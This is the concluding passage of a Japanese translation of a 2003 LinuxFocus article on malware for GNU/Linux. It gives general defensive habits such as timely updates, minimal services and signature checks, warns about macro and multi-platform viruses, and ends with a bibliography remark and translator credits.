Gnu/Linux システムで動く悪意のあるプログラムを見てきましたが、これから分かることは、ウィルス、ワーム、トロイの木馬などに対してはフリーソフトウェアとて安全ではないということです。 あまりあわてずに、最新のアプリケーションに関するセキュリティ警告の動向を追う必要があります。 インターネットにワークステーションを繋ぐ機会が多いならなおさらです。 セキュリティホールが見つかったらすぐにソフトウェアをアップデートする、ネットワークサービスは必要最低限のものだけにする、信頼のおけるウェブサイトからしかアプリケーションをダウンロードしない、ダウンロードしたパッケージはできるだけ PGP か MD5 で署名をチェックするといった習慣をつけることが大切です。 気になる人はインストールされたアプリケーションの管理をスクリプトなどで自動化するのも良いでしょう。

2 つ目の注意です。 将来的に発生しうる Linux システムでの危険は、ドキュメント (電子メールを含む) に含まれるマクロを何も考えずに実行してしまう生産性アプリケーションや、Windows で実行していてもそのマシンの Linux パーティションにある実行ファイルにまで感染してしまうようなマルチプラットフォームウィルスです。 最初の問題は、生産性アプリケーションが何でもかんでも受けつけないようにすることでユーザーが対処することができますが、2 つ目は管理者が細心の注意を払っても解決が難しい問題です。 インターネットに繋がれた Linux ワークステーション向けの強力なウィルス検出ソフトをすぐにでも開発しないといけません。 フリーソフトウェアの世界でそのようなプロジェクトが早急に開始されるのを期待しましょう。

 

参考文献

ウイルス、トロイの木馬、その他の脅威に関するドキュメントの数が増えていることは、重要な兆候です。 最新のウィルスとその動作や振る舞いについて書かれた文献はたくさんあります。 もちろん、Dos/Windows に関するものがほとんどですが、Linux に関するものもいくつかあります。 ここで挙げた論文はやや古く、理論的な仕組みについて解説したものです。


Webpages maintained by the LinuxFocus Editor team
© Christophe Blaess, FDL
LinuxFocus.org
翻訳履歴:
fr --> -- : Christophe Blaess (homepage)
fr --> en: Georges Tarbouriech <georges.t(at)linuxfocus.org>
en --> jp: 須藤 賢一 <deep_blue/at/users.sourceforge.jp>

2003-05-23, generated by lfparser version 2.36